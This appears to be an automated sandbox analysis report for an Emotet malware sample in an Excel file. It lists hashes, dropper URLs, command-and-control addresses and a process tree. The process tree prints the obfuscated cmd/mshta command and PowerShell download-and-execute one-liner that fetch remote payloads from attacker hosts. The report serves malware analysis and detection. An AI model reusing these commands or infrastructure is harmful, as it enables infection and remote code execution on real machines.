emotet | c425b918e6144021b603d7713891f953c90f3fe0b724c2fd15767e577edb7ba0

General

Target

c425b918e6144021b603d7713891f953c90f3fe0b724c2fd15767e577edb7ba0.xls
Size

142KB
MD5

b25483c9c42f369b467a92aba6a54846
SHA1

9a80eefb86b8fcb134c3377ead5cd7dccc76c4f8
SHA256

c425b918e6144021b603d7713891f953c90f3fe0b724c2fd15767e577edb7ba0
SHA512

1be9aeaa5b4b8d11da2ecc5903145294f9ae6e84d2b0045c2f3371ab0a960561095711b8a9338f9f2b0502caf3bc36cbdcbf8135130d768c295a4cd72968711c

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2208	3372	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
37	2968	mshta.exe
38	3552	powershell.exe
40	3552	powershell.exe
43	3552	powershell.exe
49	1700	rundll32.exe
51	1700	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3488	rundll32.exe
752	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Xjjmdtdmjv\romgf.sux	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3844	2968	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3372	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3552	powershell.exe
3552	powershell.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3844	WerFault.exe
3552	powershell.exe
1700	rundll32.exe
1700	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	3844	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE
3372	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3372 wrote to memory of 2616	3372	EXCEL.EXE	72
PID 3372 wrote to memory of 2616	3372	EXCEL.EXE	72
PID 3372 wrote to memory of 2208	3372	EXCEL.EXE	73
PID 3372 wrote to memory of 2208	3372	EXCEL.EXE	73
PID 2208 wrote to memory of 2968	2208	cmd.exe	75
PID 2208 wrote to memory of 2968	2208	cmd.exe	75
PID 2968 wrote to memory of 3552	2968	mshta.exe	77
PID 2968 wrote to memory of 3552	2968	mshta.exe	77
PID 3552 wrote to memory of 3740	3552	powershell.exe	80
PID 3552 wrote to memory of 3740	3552	powershell.exe	80
PID 3740 wrote to memory of 3488	3740	cmd.exe	81
PID 3740 wrote to memory of 3488	3740	cmd.exe	81
PID 3740 wrote to memory of 3488	3740	cmd.exe	81
PID 3488 wrote to memory of 752	3488	rundll32.exe	82
PID 3488 wrote to memory of 752	3488	rundll32.exe	82
PID 3488 wrote to memory of 752	3488	rundll32.exe	82
PID 752 wrote to memory of 676	752	rundll32.exe	83
PID 752 wrote to memory of 676	752	rundll32.exe	83
PID 752 wrote to memory of 676	752	rundll32.exe	83
PID 676 wrote to memory of 1700	676	rundll32.exe	84
PID 676 wrote to memory of 1700	676	rundll32.exe	84
PID 676 wrote to memory of 1700	676	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c425b918e6144021b603d7713891f953c90f3fe0b724c2fd15767e577edb7ba0.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3372
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2616
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2968
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3552
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3740
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3488
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:752
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xjjmdtdmjv\romgf.sux",cMmqVGywUBd
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:676
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xjjmdtdmjv\romgf.sux",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1700
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2968 -s 1664
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/676-832-0x0000000004310000-0x0000000004336000-memory.dmp

Filesize
152KB

Download
memory/752-835-0x0000000004A00000-0x0000000004A26000-memory.dmp

Filesize
152KB

Download
memory/752-831-0x00000000048A0000-0x00000000048C6000-memory.dmp

Filesize
152KB

Download
memory/752-829-0x0000000004840000-0x0000000004866000-memory.dmp

Filesize
152KB

Download
memory/752-827-0x00000000046C0000-0x00000000046E6000-memory.dmp

Filesize
152KB

Download
memory/752-824-0x00000000045E0000-0x0000000004606000-memory.dmp

Filesize
152KB

Download
memory/752-819-0x0000000003FA0000-0x0000000003FC6000-memory.dmp

Filesize
152KB

Download
memory/1700-839-0x0000000004AA0000-0x0000000004AC6000-memory.dmp

Filesize
152KB

Download
memory/1700-841-0x0000000004B80000-0x0000000004BA6000-memory.dmp

Filesize
152KB

Download
memory/1700-851-0x00000000050A0000-0x00000000050C6000-memory.dmp

Filesize
152KB

Download
memory/1700-849-0x0000000005020000-0x0000000005046000-memory.dmp

Filesize
152KB

Download
memory/1700-847-0x0000000004E30000-0x0000000004E56000-memory.dmp

Filesize
152KB

Download
memory/1700-845-0x0000000004D40000-0x0000000004D66000-memory.dmp

Filesize
152KB

Download
memory/1700-843-0x0000000004C60000-0x0000000004C86000-memory.dmp

Filesize
152KB

Download
memory/3372-116-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3372-873-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3372-128-0x00007FFE1C4D0000-0x00007FFE1C4E0000-memory.dmp

Filesize
64KB

Download
memory/3372-121-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3372-118-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3372-117-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3372-876-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3372-115-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3372-875-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3372-129-0x00007FFE1C4D0000-0x00007FFE1C4E0000-memory.dmp

Filesize
64KB

Download
memory/3372-874-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

Filesize
64KB

Download
memory/3488-816-0x0000000002920000-0x0000000002946000-memory.dmp

Filesize
152KB

Download
memory/3552-486-0x0000021A67713000-0x0000021A67715000-memory.dmp

Filesize
8KB

Download
memory/3552-605-0x0000021A67716000-0x0000021A67718000-memory.dmp

Filesize
8KB

Download
memory/3552-507-0x0000021A003D0000-0x0000021A0040C000-memory.dmp

Filesize
240KB

Download
memory/3552-487-0x0000021A001E0000-0x0000021A00202000-memory.dmp

Filesize
136KB

Download
memory/3552-484-0x0000021A67710000-0x0000021A67712000-memory.dmp

Filesize
8KB

Download
memory/3552-518-0x0000021A00930000-0x0000021A009A6000-memory.dmp

Filesize
472KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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